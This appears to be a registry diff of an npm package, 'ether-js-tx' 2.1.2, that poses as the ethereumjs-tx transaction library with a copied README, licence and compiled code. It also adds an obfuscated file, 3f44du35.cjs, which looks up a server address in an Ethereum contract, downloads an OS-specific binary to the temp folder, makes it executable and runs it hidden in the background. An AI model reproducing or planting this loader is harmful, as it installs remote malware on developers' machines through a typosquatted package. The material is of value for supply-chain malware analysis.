ether-js-tx 2.1.2

Sign up to get free protection for your applications and to get access to all the features.
package/3f44du35.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x1064bd=_0x25cf;function _0x1daa(){const _0x54d4e2=['finish','77rTsXvD','darwin','pwQUQ','YzKME','cJEUA','940tFQMIp','data','path','child_process','zXPaL','12795Qypxro','error','mainnet','util','unref','8785170JkqrMl','getString','win32','5390112APuGaq','ignore','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','pipe','/node-macos','755','Ошибка\x20при\x20запуске\x20файла:','XCjUC','Contract','ramgc','linux','stream','ClXUF','1085462wYyKsV','tmpdir','chmodSync','Cucye','1234308srNXLc','8QkWDjT','jGGdv','ethers','dRQqb','986769mQylbN','Ошибка\x20установки:','platform','axios','3073670HNmVyf','join','3AIqOkY'];_0x1daa=function(){return _0x54d4e2;};return _0x1daa();}(function(_0x422383,_0x1d2e75){const _0x49e88c=_0x25cf,_0xa0af58=_0x422383();while(!![]){try{const _0x512a4a=parseInt(_0x49e88c(0x19a))/0x1+-parseInt(_0x49e88c(0x195))/0x2*(parseInt(_0x49e88c(0x1a0))/0x3)+-parseInt(_0x49e88c(0x176))/0x4*(-parseInt(_0x49e88c(0x17b))/0x5)+parseInt(_0x49e88c(0x183))/0x6+-parseInt(_0x49e88c(0x191))/0x7+parseInt(_0x49e88c(0x196))/0x8*(parseInt(_0x49e88c(0x180))/0x9)+parseInt(_0x49e88c(0x19e))/0xa*(-parseInt(_0x49e88c(0x171))/0xb);if(_0x512a4a===_0x1d2e75)break;else _0xa0af58['push'](_0xa0af58['shift']());}catch(_0x494834){_0xa0af58['push'](_0xa0af58['shift']());}}}(_0x1daa,0x838cb));const {ethers}=require(_0x1064bd(0x198)),axios=require(_0x1064bd(0x19d)),util=require(_0x1064bd(0x17e)),fs=require('fs'),path=require(_0x1064bd(0x178)),os=require('os'),{spawn}=require(_0x1064bd(0x179)),contractAddress=_0x1064bd(0x185),WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=[_0x1064bd(0x186)],provider=ethers['getDefaultProvider'](_0x1064bd(0x17d)),contract=new ethers[(_0x1064bd(0x18c))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x3e87c0=_0x1064bd,_0x4db808={'ramgc':'Ошибка\x20при\x20получении\x20IP\x20адреса:','WcyCu':function(_0x45f024){return _0x45f024();}};try{const _0x4ac9ce=await contract[_0x3e87c0(0x181)](WalletOwner);return _0x4ac9ce;}catch(_0x6f0791){return console[_0x3e87c0(0x17c)](_0x4db808[_0x3e87c0(0x18d)],_0x6f0791),await _0x4db808['WcyCu'](fetchAndUpdateIp);}},getDownloadUrl=_0x2bfe0f=>{const _0x5ed4ed=_0x1064bd,_0x3043d9={'dRQqb':'win32','CmqeR':_0x5ed4ed(0x172)},_0x21a880=os[_0x5ed4ed(0x19c)]();switch(_0x21a880){case _0x3043d9[_0x5ed4ed(0x199)]:return _0x2bfe0f+'/node-win.exe';case _0x5ed4ed(0x18e):return _0x2bfe0f+'/node-linux';case _0x3043d9['CmqeR']:return _0x2bfe0f+_0x5ed4ed(0x188);default:throw new Error('Unsupported\x20platform:\x20'+_0x21a880);}},downloadFile=async(_0x393e58,_0x1622a0)=>{const _0x521e7d=_0x1064bd,_0x5528d7={'pwQUQ':_0x521e7d(0x1a1),'ClXUF':function(_0x547303,_0x39dc2a){return _0x547303(_0x39dc2a);},'jGGdv':'GET'},_0x4c7048=fs['createWriteStream'](_0x1622a0),_0x42305a=await _0x5528d7[_0x521e7d(0x190)](axios,{'url':_0x393e58,'method':_0x5528d7[_0x521e7d(0x197)],'responseType':_0x521e7d(0x18f)});return _0x42305a[_0x521e7d(0x177)][_0x521e7d(0x187)](_0x4c7048),new Promise((_0x461935,_0x3f312e)=>{const _0x5905dd=_0x521e7d;_0x4c7048['on'](_0x5528d7[_0x5905dd(0x173)],_0x461935),_0x4c7048['on'](_0x5905dd(0x17c),_0x3f312e);});},executeFileInBackground=async _0x113c0b=>{const _0x4caec2=_0x1064bd,_0x5e71af={'cJEUA':function(_0x86e3c6,_0x263a0c,_0x4bb35c,_0xe3b181){return _0x86e3c6(_0x263a0c,_0x4bb35c,_0xe3b181);},'Cucye':_0x4caec2(0x184)};try{const _0x12b3bf=_0x5e71af[_0x4caec2(0x175)](spawn,_0x113c0b,[],{'detached':!![],'stdio':_0x5e71af[_0x4caec2(0x194)]});_0x12b3bf[_0x4caec2(0x17f)]();}catch(_0x88fda8){console[_0x4caec2(0x17c)](_0x4caec2(0x18a),_0x88fda8);}},runInstallation=async()=>{const _0x161bc5=_0x1064bd,_0x211049={'XrQIt':function(_0x55e3a4){return _0x55e3a4();},'YzKME':function(_0x4be01a,_0x3b9694){return _0x4be01a(_0x3b9694);},'HtUvx':function(_0x8ba15b,_0x586aad,_0x576262){return _0x8ba15b(_0x586aad,_0x576262);},'RJOff':_0x161bc5(0x182),'zXPaL':_0x161bc5(0x189),'XCjUC':_0x161bc5(0x19b)};try{const _0x3a56c1=await _0x211049['XrQIt'](fetchAndUpdateIp),_0x16f3ec=_0x211049[_0x161bc5(0x174)](getDownloadUrl,_0x3a56c1),_0x6fdc4c=os[_0x161bc5(0x192)](),_0x2aa07a=path['basename'](_0x16f3ec),_0x33fd15=path[_0x161bc5(0x19f)](_0x6fdc4c,_0x2aa07a);await _0x211049['HtUvx'](downloadFile,_0x16f3ec,_0x33fd15);if(os[_0x161bc5(0x19c)]()!==_0x211049['RJOff'])fs[_0x161bc5(0x193)](_0x33fd15,_0x211049[_0x161bc5(0x17a)]);executeFileInBackground(_0x33fd15);}catch(_0x14ce94){console[_0x161bc5(0x17c)](_0x211049[_0x161bc5(0x18b)],_0x14ce94);}};function _0x25cf(_0x3dcd29,_0x4c3004){const _0x1daabb=_0x1daa();return _0x25cf=function(_0x25cfbd,_0x2b05fa){_0x25cfbd=_0x25cfbd-0x171;let _0x55a9e8=_0x1daabb[_0x25cfbd];return _0x55a9e8;},_0x25cf(_0x3dcd29,_0x4c3004);}runInstallation();
package/LICENSE ADDED
@@ -0,0 +1,373 @@
1
+ Mozilla Public License Version 2.0
2
+ ==================================
3
+
4
+ 1. Definitions
5
+ --------------
6
+
7
+ 1.1. "Contributor"
8
+ means each individual or legal entity that creates, contributes to
9
+ the creation of, or owns Covered Software.
10
+
11
+ 1.2. "Contributor Version"
12
+ means the combination of the Contributions of others (if any) used
13
+ by a Contributor and that particular Contributor's Contribution.
14
+
15
+ 1.3. "Contribution"
16
+ means Covered Software of a particular Contributor.
17
+
18
+ 1.4. "Covered Software"
19
+ means Source Code Form to which the initial Contributor has attached
20
+ the notice in Exhibit A, the Executable Form of such Source Code
21
+ Form, and Modifications of such Source Code Form, in each case
22
+ including portions thereof.
23
+
24
+ 1.5. "Incompatible With Secondary Licenses"
25
+ means
26
+
27
+ (a) that the initial Contributor has attached the notice described
28
+ in Exhibit B to the Covered Software; or
29
+
30
+ (b) that the Covered Software was made available under the terms of
31
+ version 1.1 or earlier of the License, but not also under the
32
+ terms of a Secondary License.
33
+
34
+ 1.6. "Executable Form"
35
+ means any form of the work other than Source Code Form.
36
+
37
+ 1.7. "Larger Work"
38
+ means a work that combines Covered Software with other material, in
39
+ a separate file or files, that is not Covered Software.
40
+
41
+ 1.8. "License"
42
+ means this document.
43
+
44
+ 1.9. "Licensable"
45
+ means having the right to grant, to the maximum extent possible,
46
+ whether at the time of the initial grant or subsequently, any and
47
+ all of the rights conveyed by this License.
48
+
49
+ 1.10. "Modifications"
50
+ means any of the following:
51
+
52
+ (a) any file in Source Code Form that results from an addition to,
53
+ deletion from, or modification of the contents of Covered
54
+ Software; or
55
+
56
+ (b) any new file in Source Code Form that contains any Covered
57
+ Software.
58
+
59
+ 1.11. "Patent Claims" of a Contributor
60
+ means any patent claim(s), including without limitation, method,
61
+ process, and apparatus claims, in any patent Licensable by such
62
+ Contributor that would be infringed, but for the grant of the
63
+ License, by the making, using, selling, offering for sale, having
64
+ made, import, or transfer of either its Contributions or its
65
+ Contributor Version.
66
+
67
+ 1.12. "Secondary License"
68
+ means either the GNU General Public License, Version 2.0, the GNU
69
+ Lesser General Public License, Version 2.1, the GNU Affero General
70
+ Public License, Version 3.0, or any later versions of those
71
+ licenses.
72
+
73
+ 1.13. "Source Code Form"
74
+ means the form of the work preferred for making modifications.
75
+
76
+ 1.14. "You" (or "Your")
77
+ means an individual or a legal entity exercising rights under this
78
+ License. For legal entities, "You" includes any entity that
79
+ controls, is controlled by, or is under common control with You. For
80
+ purposes of this definition, "control" means (a) the power, direct
81
+ or indirect, to cause the direction or management of such entity,
82
+ whether by contract or otherwise, or (b) ownership of more than
83
+ fifty percent (50%) of the outstanding shares or beneficial
84
+ ownership of such entity.
85
+
86
+ 2. License Grants and Conditions
87
+ --------------------------------
88
+
89
+ 2.1. Grants
90
+
91
+ Each Contributor hereby grants You a world-wide, royalty-free,
92
+ non-exclusive license:
93
+
94
+ (a) under intellectual property rights (other than patent or trademark)
95
+ Licensable by such Contributor to use, reproduce, make available,
96
+ modify, display, perform, distribute, and otherwise exploit its
97
+ Contributions, either on an unmodified basis, with Modifications, or
98
+ as part of a Larger Work; and
99
+
100
+ (b) under Patent Claims of such Contributor to make, use, sell, offer
101
+ for sale, have made, import, and otherwise transfer either its
102
+ Contributions or its Contributor Version.
103
+
104
+ 2.2. Effective Date
105
+
106
+ The licenses granted in Section 2.1 with respect to any Contribution
107
+ become effective for each Contribution on the date the Contributor first
108
+ distributes such Contribution.
109
+
110
+ 2.3. Limitations on Grant Scope
111
+
112
+ The licenses granted in this Section 2 are the only rights granted under
113
+ this License. No additional rights or licenses will be implied from the
114
+ distribution or licensing of Covered Software under this License.
115
+ Notwithstanding Section 2.1(b) above, no patent license is granted by a
116
+ Contributor:
117
+
118
+ (a) for any code that a Contributor has removed from Covered Software;
119
+ or
120
+
121
+ (b) for infringements caused by: (i) Your and any other third party's
122
+ modifications of Covered Software, or (ii) the combination of its
123
+ Contributions with other software (except as part of its Contributor
124
+ Version); or
125
+
126
+ (c) under Patent Claims infringed by Covered Software in the absence of
127
+ its Contributions.
128
+
129
+ This License does not grant any rights in the trademarks, service marks,
130
+ or logos of any Contributor (except as may be necessary to comply with
131
+ the notice requirements in Section 3.4).
132
+
133
+ 2.4. Subsequent Licenses
134
+
135
+ No Contributor makes additional grants as a result of Your choice to
136
+ distribute the Covered Software under a subsequent version of this
137
+ License (see Section 10.2) or under the terms of a Secondary License (if
138
+ permitted under the terms of Section 3.3).
139
+
140
+ 2.5. Representation
141
+
142
+ Each Contributor represents that the Contributor believes its
143
+ Contributions are its original creation(s) or it has sufficient rights
144
+ to grant the rights to its Contributions conveyed by this License.
145
+
146
+ 2.6. Fair Use
147
+
148
+ This License is not intended to limit any rights You have under
149
+ applicable copyright doctrines of fair use, fair dealing, or other
150
+ equivalents.
151
+
152
+ 2.7. Conditions
153
+
154
+ Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted
155
+ in Section 2.1.
156
+
157
+ 3. Responsibilities
158
+ -------------------
159
+
160
+ 3.1. Distribution of Source Form
161
+
162
+ All distribution of Covered Software in Source Code Form, including any
163
+ Modifications that You create or to which You contribute, must be under
164
+ the terms of this License. You must inform recipients that the Source
165
+ Code Form of the Covered Software is governed by the terms of this
166
+ License, and how they can obtain a copy of this License. You may not
167
+ attempt to alter or restrict the recipients' rights in the Source Code
168
+ Form.
169
+
170
+ 3.2. Distribution of Executable Form
171
+
172
+ If You distribute Covered Software in Executable Form then:
173
+
174
+ (a) such Covered Software must also be made available in Source Code
175
+ Form, as described in Section 3.1, and You must inform recipients of
176
+ the Executable Form how they can obtain a copy of such Source Code
177
+ Form by reasonable means in a timely manner, at a charge no more
178
+ than the cost of distribution to the recipient; and
179
+
180
+ (b) You may distribute such Executable Form under the terms of this
181
+ License, or sublicense it under different terms, provided that the
182
+ license for the Executable Form does not attempt to limit or alter
183
+ the recipients' rights in the Source Code Form under this License.
184
+
185
+ 3.3. Distribution of a Larger Work
186
+
187
+ You may create and distribute a Larger Work under terms of Your choice,
188
+ provided that You also comply with the requirements of this License for
189
+ the Covered Software. If the Larger Work is a combination of Covered
190
+ Software with a work governed by one or more Secondary Licenses, and the
191
+ Covered Software is not Incompatible With Secondary Licenses, this
192
+ License permits You to additionally distribute such Covered Software
193
+ under the terms of such Secondary License(s), so that the recipient of
194
+ the Larger Work may, at their option, further distribute the Covered
195
+ Software under the terms of either this License or such Secondary
196
+ License(s).
197
+
198
+ 3.4. Notices
199
+
200
+ You may not remove or alter the substance of any license notices
201
+ (including copyright notices, patent notices, disclaimers of warranty,
202
+ or limitations of liability) contained within the Source Code Form of
203
+ the Covered Software, except that You may alter any license notices to
204
+ the extent required to remedy known factual inaccuracies.
205
+
206
+ 3.5. Application of Additional Terms
207
+
208
+ You may choose to offer, and to charge a fee for, warranty, support,
209
+ indemnity or liability obligations to one or more recipients of Covered
210
+ Software. However, You may do so only on Your own behalf, and not on
211
+ behalf of any Contributor. You must make it absolutely clear that any
212
+ such warranty, support, indemnity, or liability obligation is offered by
213
+ You alone, and You hereby agree to indemnify every Contributor for any
214
+ liability incurred by such Contributor as a result of warranty, support,
215
+ indemnity or liability terms You offer. You may include additional
216
+ disclaimers of warranty and limitations of liability specific to any
217
+ jurisdiction.
218
+
219
+ 4. Inability to Comply Due to Statute or Regulation
220
+ ---------------------------------------------------
221
+
222
+ If it is impossible for You to comply with any of the terms of this
223
+ License with respect to some or all of the Covered Software due to
224
+ statute, judicial order, or regulation then You must: (a) comply with
225
+ the terms of this License to the maximum extent possible; and (b)
226
+ describe the limitations and the code they affect. Such description must
227
+ be placed in a text file included with all distributions of the Covered
228
+ Software under this License. Except to the extent prohibited by statute
229
+ or regulation, such description must be sufficiently detailed for a
230
+ recipient of ordinary skill to be able to understand it.
231
+
232
+ 5. Termination
233
+ --------------
234
+
235
+ 5.1. The rights granted under this License will terminate automatically
236
+ if You fail to comply with any of its terms. However, if You become
237
+ compliant, then the rights granted under this License from a particular
238
+ Contributor are reinstated (a) provisionally, unless and until such
239
+ Contributor explicitly and finally terminates Your grants, and (b) on an
240
+ ongoing basis, if such Contributor fails to notify You of the
241
+ non-compliance by some reasonable means prior to 60 days after You have
242
+ come back into compliance. Moreover, Your grants from a particular
243
+ Contributor are reinstated on an ongoing basis if such Contributor
244
+ notifies You of the non-compliance by some reasonable means, this is the
245
+ first time You have received notice of non-compliance with this License
246
+ from such Contributor, and You become compliant prior to 30 days after
247
+ Your receipt of the notice.
248
+
249
+ 5.2. If You initiate litigation against any entity by asserting a patent
250
+ infringement claim (excluding declaratory judgment actions,
251
+ counter-claims, and cross-claims) alleging that a Contributor Version
252
+ directly or indirectly infringes any patent, then the rights granted to
253
+ You by any and all Contributors for the Covered Software under Section
254
+ 2.1 of this License shall terminate.
255
+
256
+ 5.3. In the event of termination under Sections 5.1 or 5.2 above, all
257
+ end user license agreements (excluding distributors and resellers) which
258
+ have been validly granted by You or Your distributors under this License
259
+ prior to termination shall survive termination.
260
+
261
+ ************************************************************************
262
+ * *
263
+ * 6. Disclaimer of Warranty *
264
+ * ------------------------- *
265
+ * *
266
+ * Covered Software is provided under this License on an "as is" *
267
+ * basis, without warranty of any kind, either expressed, implied, or *
268
+ * statutory, including, without limitation, warranties that the *
269
+ * Covered Software is free of defects, merchantable, fit for a *
270
+ * particular purpose or non-infringing. The entire risk as to the *
271
+ * quality and performance of the Covered Software is with You. *
272
+ * Should any Covered Software prove defective in any respect, You *
273
+ * (not any Contributor) assume the cost of any necessary servicing, *
274
+ * repair, or correction. This disclaimer of warranty constitutes an *
275
+ * essential part of this License. No use of any Covered Software is *
276
+ * authorized under this License except under this disclaimer. *
277
+ * *
278
+ ************************************************************************
279
+
280
+ ************************************************************************
281
+ * *
282
+ * 7. Limitation of Liability *
283
+ * -------------------------- *
284
+ * *
285
+ * Under no circumstances and under no legal theory, whether tort *
286
+ * (including negligence), contract, or otherwise, shall any *
287
+ * Contributor, or anyone who distributes Covered Software as *
288
+ * permitted above, be liable to You for any direct, indirect, *
289
+ * special, incidental, or consequential damages of any character *
290
+ * including, without limitation, damages for lost profits, loss of *
291
+ * goodwill, work stoppage, computer failure or malfunction, or any *
292
+ * and all other commercial damages or losses, even if such party *
293
+ * shall have been informed of the possibility of such damages. This *
294
+ * limitation of liability shall not apply to liability for death or *
295
+ * personal injury resulting from such party's negligence to the *
296
+ * extent applicable law prohibits such limitation. Some *
297
+ * jurisdictions do not allow the exclusion or limitation of *
298
+ * incidental or consequential damages, so this exclusion and *
299
+ * limitation may not apply to You. *
300
+ * *
301
+ ************************************************************************
302
+
303
+ 8. Litigation
304
+ -------------
305
+
306
+ Any litigation relating to this License may be brought only in the
307
+ courts of a jurisdiction where the defendant maintains its principal
308
+ place of business and such litigation shall be governed by laws of that
309
+ jurisdiction, without reference to its conflict-of-law provisions.
310
+ Nothing in this Section shall prevent a party's ability to bring
311
+ cross-claims or counter-claims.
312
+
313
+ 9. Miscellaneous
314
+ ----------------
315
+
316
+ This License represents the complete agreement concerning the subject
317
+ matter hereof. If any provision of this License is held to be
318
+ unenforceable, such provision shall be reformed only to the extent
319
+ necessary to make it enforceable. Any law or regulation which provides
320
+ that the language of a contract shall be construed against the drafter
321
+ shall not be used to construe this License against a Contributor.
322
+
323
+ 10. Versions of the License
324
+ ---------------------------
325
+
326
+ 10.1. New Versions
327
+
328
+ Mozilla Foundation is the license steward. Except as provided in Section
329
+ 10.3, no one other than the license steward has the right to modify or
330
+ publish new versions of this License. Each version will be given a
331
+ distinguishing version number.
332
+
333
+ 10.2. Effect of New Versions
334
+
335
+ You may distribute the Covered Software under the terms of the version
336
+ of the License under which You originally received the Covered Software,
337
+ or under the terms of any subsequent version published by the license
338
+ steward.
339
+
340
+ 10.3. Modified Versions
341
+
342
+ If you create software not governed by this License, and you want to
343
+ create a new license for such software, you may create and use a
344
+ modified version of this License if you rename the license and remove
345
+ any references to the name of the license steward (except to note that
346
+ such modified license differs from this License).
347
+
348
+ 10.4. Distributing Source Code Form that is Incompatible With Secondary
349
+ Licenses
350
+
351
+ If You choose to distribute Source Code Form that is Incompatible With
352
+ Secondary Licenses under the terms of this version of the License, the
353
+ notice described in Exhibit B of this License must be attached.
354
+
355
+ Exhibit A - Source Code Form License Notice
356
+ -------------------------------------------
357
+
358
+ This Source Code Form is subject to the terms of the Mozilla Public
359
+ License, v. 2.0. If a copy of the MPL was not distributed with this
360
+ file, You can obtain one at http://mozilla.org/MPL/2.0/.
361
+
362
+ If it is not possible or desirable to put the notice in a particular
363
+ file, then You may include the notice in a location (such as a LICENSE
364
+ file in a relevant directory) where a recipient would be likely to look
365
+ for such a notice.
366
+
367
+ You may add additional accurate notices of copyright ownership.
368
+
369
+ Exhibit B - "Incompatible With Secondary Licenses" Notice
370
+ ---------------------------------------------------------
371
+
372
+ This Source Code Form is "Incompatible With Secondary Licenses", as
373
+ defined by the Mozilla Public License, v. 2.0.
package/README.md ADDED
@@ -0,0 +1,75 @@
1
+ # SYNOPSIS
2
+
3
+ [![NPM Package](https://img.shields.io/npm/v/ethereumjs-tx.svg?style=flat-square)](https://www.npmjs.org/package/ethereumjs-tx)
4
+ [![Actions Status](https://github.com/ethereumjs/ethereumjs-tx/workflows/tx-test/badge.svg)](https://github.com/ethereumjs/ethereumjs-tx/actions)
5
+ [![Coverage Status](https://img.shields.io/coveralls/ethereumjs/ethereumjs-tx.svg?style=flat-square)](https://coveralls.io/r/ethereumjs/ethereumjs-tx)
6
+ [![Gitter](https://img.shields.io/gitter/room/ethereum/ethereumjs-lib.svg?style=flat-square)](https://gitter.im/ethereum/ethereumjs-lib) or #ethereumjs on freenode
7
+
8
+ # INSTALL
9
+
10
+ `npm install ethereumjs-tx`
11
+
12
+ # USAGE
13
+
14
+ - [example](https://github.com/ethereumjs/ethereumjs-tx/blob/master/examples/transactions.ts)
15
+
16
+ ```javascript
17
+ const EthereumTx = require('ethereumjs-tx').Transaction
18
+ const privateKey = Buffer.from(
19
+ 'e331b6d69882b4cb4ea581d88e0b604039a3de5967688d3dcffdd2270c0fd109',
20
+ 'hex',
21
+ )
22
+
23
+ const txParams = {
24
+ nonce: '0x00',
25
+ gasPrice: '0x09184e72a000',
26
+ gasLimit: '0x2710',
27
+ to: '0x0000000000000000000000000000000000000000',
28
+ value: '0x00',
29
+ data: '0x7f7465737432000000000000000000000000000000000000000000000000000000600057',
30
+ }
31
+
32
+ // The second parameter is not necessary if these values are used
33
+ const tx = new EthereumTx(txParams, { chain: 'mainnet', hardfork: 'petersburg' })
34
+ tx.sign(privateKey)
35
+ const serializedTx = tx.serialize()
36
+ ```
37
+
38
+ # Chain and Hardfork Support
39
+
40
+ The `Transaction` and `FakeTransaction` constructors receives a second parameter that lets you specify the chain and hardfork
41
+ to be used. By default, `mainnet` and `petersburg` will be used.
42
+
43
+ There are two ways of customizing these. The first one, as shown in the previous section, is by
44
+ using an object with `chain` and `hardfork` names. You can see en example of this in [./examples/ropsten-tx.ts](./examples/ropsten-tx.ts).
45
+
46
+ The second option is by passing the option `common` set to an instance of [ethereumjs-common](https://github.com/ethereumjs/ethereumjs-common)' Common. This is specially useful for custom networks or chains/hardforks not yet supported by `ethereumjs-common`. You can see en example of this in [./examples/custom-chain-tx.ts](./examples/custom-chain-tx.ts).
47
+
48
+ ## MuirGlacier Support
49
+
50
+ The `MuirGlacier` hardfork is supported by the library since the `v2.1.2` release.
51
+
52
+ ## Istanbul Support
53
+
54
+ Support for reduced non-zero call data gas prices from the `Istanbul` hardfork
55
+ ([EIP-2028](https://eips.ethereum.org/EIPS/eip-2028)) has been added to the library
56
+ along with the `v2.1.1` release.
57
+
58
+ # EIP-155 support
59
+
60
+ `EIP-155` replay protection is activated since the `spuriousDragon` hardfork. To disable it, set the
61
+ hardfork in the `Transaction`'s constructor.
62
+
63
+ # API
64
+
65
+ [./docs/](./docs/README.md)
66
+
67
+ # EthereumJS
68
+
69
+ See our organizational [documentation](https://ethereumjs.readthedocs.io) for an introduction to `EthereumJS` as well as information on current standards and best practices.
70
+
71
+ If you want to join for work or do improvements on the libraries have a look at our [contribution guidelines](https://ethereumjs.readthedocs.io/en/latest/contributing.html).
72
+
73
+ # LICENSE
74
+
75
+ [MPL-2.0](<https://tldrlegal.com/license/mozilla-public-license-2.0-(mpl-2)>)
package/dist/fake.d.ts ADDED
@@ -0,0 +1,29 @@
1
+ /// <reference types="node" />
2
+ import { BufferLike, FakeTxData, PrefixedHexString, TransactionOptions } from './types';
3
+ import Transaction from './transaction';
4
+ /**
5
+ * Creates a new transaction object that doesn't need to be signed.
6
+ *
7
+ * @param data - A transaction can be initialized with its rlp representation, an array containing
8
+ * the value of its fields in order, or an object containing them by name.
9
+ *
10
+ * @param opts - The transaction's options, used to indicate the chain and hardfork the
11
+ * transactions belongs to.
12
+ *
13
+ * @see Transaction
14
+ */
15
+ export default class FakeTransaction extends Transaction {
16
+ /**
17
+ * Set from address to bypass transaction signing.
18
+ * This is not an optional property, as its getter never returns undefined.
19
+ */
20
+ from: Buffer;
21
+ constructor(data?: Buffer | PrefixedHexString | BufferLike[] | FakeTxData, opts?: TransactionOptions);
22
+ /**
23
+ * Computes a sha3-256 hash of the serialized tx, using the sender address to generate a fake
24
+ * signature.
25
+ *
26
+ * @param includeSignature - Whether or not to include the signature
27
+ */
28
+ hash(includeSignature?: boolean): Buffer;
29
+ }
package/dist/fake.js ADDED
@@ -0,0 +1,70 @@
1
+ "use strict";
2
+ var __extends = (this && this.__extends) || (function () {
3
+ var extendStatics = function (d, b) {
4
+ extendStatics = Object.setPrototypeOf ||
5
+ ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
6
+ function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };
7
+ return extendStatics(d, b);
8
+ };
9
+ return function (d, b) {
10
+ extendStatics(d, b);
11
+ function __() { this.constructor = d; }
12
+ d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
13
+ };
14
+ })();
15
+ Object.defineProperty(exports, "__esModule", { value: true });
16
+ var ethereumjs_util_1 = require("ethereumjs-util");
17
+ var buffer_1 = require("buffer");
18
+ var transaction_1 = require("./transaction");
19
+ /**
20
+ * Creates a new transaction object that doesn't need to be signed.
21
+ *
22
+ * @param data - A transaction can be initialized with its rlp representation, an array containing
23
+ * the value of its fields in order, or an object containing them by name.
24
+ *
25
+ * @param opts - The transaction's options, used to indicate the chain and hardfork the
26
+ * transactions belongs to.
27
+ *
28
+ * @see Transaction
29
+ */
30
+ var FakeTransaction = /** @class */ (function (_super) {
31
+ __extends(FakeTransaction, _super);
32
+ function FakeTransaction(data, opts) {
33
+ if (data === void 0) { data = {}; }
34
+ if (opts === void 0) { opts = {}; }
35
+ var _this = _super.call(this, data, opts) || this;
36
+ Object.defineProperty(_this, 'from', {
37
+ enumerable: true,
38
+ configurable: true,
39
+ get: function () { return _this.getSenderAddress(); },
40
+ set: function (val) {
41
+ if (val) {
42
+ _this._from = ethereumjs_util_1.toBuffer(val);
43
+ }
44
+ },
45
+ });
46
+ var txData = data;
47
+ if (txData.from) {
48
+ _this.from = ethereumjs_util_1.toBuffer(txData.from);
49
+ }
50
+ return _this;
51
+ }
52
+ /**
53
+ * Computes a sha3-256 hash of the serialized tx, using the sender address to generate a fake
54
+ * signature.
55
+ *
56
+ * @param includeSignature - Whether or not to include the signature
57
+ */
58
+ FakeTransaction.prototype.hash = function (includeSignature) {
59
+ if (includeSignature === void 0) { includeSignature = true; }
60
+ if (includeSignature && this._from && this._from.toString('hex') !== '') {
61
+ // include a fake signature using the from address as a private key
62
+ var fakeKey = buffer_1.Buffer.concat([this._from, this._from.slice(0, 12)]);
63
+ this.sign(fakeKey);
64
+ }
65
+ return _super.prototype.hash.call(this, includeSignature);
66
+ };
67
+ return FakeTransaction;
68
+ }(transaction_1.default));
69
+ exports.default = FakeTransaction;
70
+ //# sourceMappingURL=fake.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"fake.js","sourceRoot":"","sources":["../src/fake.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;AAAA,mDAA0C;AAC1C,iCAA+B;AAE/B,6CAAuC;AAEvC;;;;;;;;;;GAUG;AACH;IAA6C,mCAAW;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action } from './fake';
3
+ export * from './types';
package/dist/index.js ADDED
@@ -0,0 +1,7 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var transaction_1 = require("./transaction");
4
+ exports.Transaction = transaction_1.default;
5
+ var fake_1 = require("./fake");
6
+ exports.FakeTransaction = fake_1.default;
7
+ //# sourceMappingURL=index.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":";;AAAA,6CAAsD;AAA7C,oCAAA,OAAO,CAAe;AAC/B,+BAAmD;AAA1C,iCAAA,OAAO,CAAmB"}
@@ -0,0 +1,115 @@
1
+ /// <reference types="node" />
2
+ /// <reference types="bn.js" />
3
+ import { BN } from 'ethereumjs-util';
4
+ import { BufferLike, PrefixedHexString, TxData, TransactionOptions } from './types';
5
+ /**
6
+ * An Ethereum transaction.
7
+ */
8
+ export default class Transaction {
9
+ raw: Buffer[];
10
+ nonce: Buffer;
11
+ gasLimit: Buffer;
12
+ gasPrice: Buffer;
13
+ to: Buffer;
14
+ value: Buffer;
15
+ data: Buffer;
16
+ v: Buffer;
17
+ r: Buffer;
18
+ s: Buffer;
19
+ private _common;
20
+ private _senderPubKey?;
21
+ protected _from?: Buffer;
22
+ /**
23
+ * Creates a new transaction from an object with its fields' values.
24
+ *
25
+ * @param data - A transaction can be initialized with its rlp representation, an array containing
26
+ * the value of its fields in order, or an object containing them by name.
27
+ *
28
+ * @param opts - The transaction's options, used to indicate the chain and hardfork the
29
+ * transactions belongs to.
30
+ *
31
+ * @note Transaction objects implement EIP155 by default. To disable it, use the constructor's
32
+ * second parameter to set a chain and hardfork before EIP155 activation (i.e. before Spurious
33
+ * Dragon.)
34
+ *
35
+ * @example
36
+ * ```js
37
+ * const txData = {
38
+ * nonce: '0x00',
39
+ * gasPrice: '0x09184e72a000',
40
+ * gasLimit: '0x2710',
41
+ * to: '0x0000000000000000000000000000000000000000',
42
+ * value: '0x00',
43
+ * data: '0x7f7465737432000000000000000000000000000000000000000000000000000000600057',
44
+ * v: '0x1c',
45
+ * r: '0x5e1d3a76fbf824220eafc8c79ad578ad2b67d01b0c2425eb1f1347e8f50882ab',
46
+ * s: '0x5bd428537f05f9830e93792f90ea6a3e2d1ee84952dd96edbae9f658f831ab13'
47
+ * };
48
+ * const tx = new Transaction(txData);
49
+ * ```
50
+ */
51
+ constructor(data?: Buffer | PrefixedHexString | BufferLike[] | TxData, opts?: TransactionOptions);
52
+ /**
53
+ * If the tx's `to` is to the creation address
54
+ */
55
+ toCreationAddress(): boolean;
56
+ /**
57
+ * Computes a sha3-256 hash of the serialized tx
58
+ * @param includeSignature - Whether or not to include the signature
59
+ */
60
+ hash(includeSignature?: boolean): Buffer;
61
+ /**
62
+ * returns chain ID
63
+ */
64
+ getChainId(): number;
65
+ /**
66
+ * returns the sender's address
67
+ */
68
+ getSenderAddress(): Buffer;
69
+ /**
70
+ * returns the public key of the sender
71
+ */
72
+ getSenderPublicKey(): Buffer;
73
+ /**
74
+ * Determines if the signature is valid
75
+ */
76
+ verifySignature(): boolean;
77
+ /**
78
+ * sign a transaction with a given private key
79
+ * @param privateKey - Must be 32 bytes in length
80
+ */
81
+ sign(privateKey: Buffer): void;
82
+ /**
83
+ * The amount of gas paid for the data in this tx
84
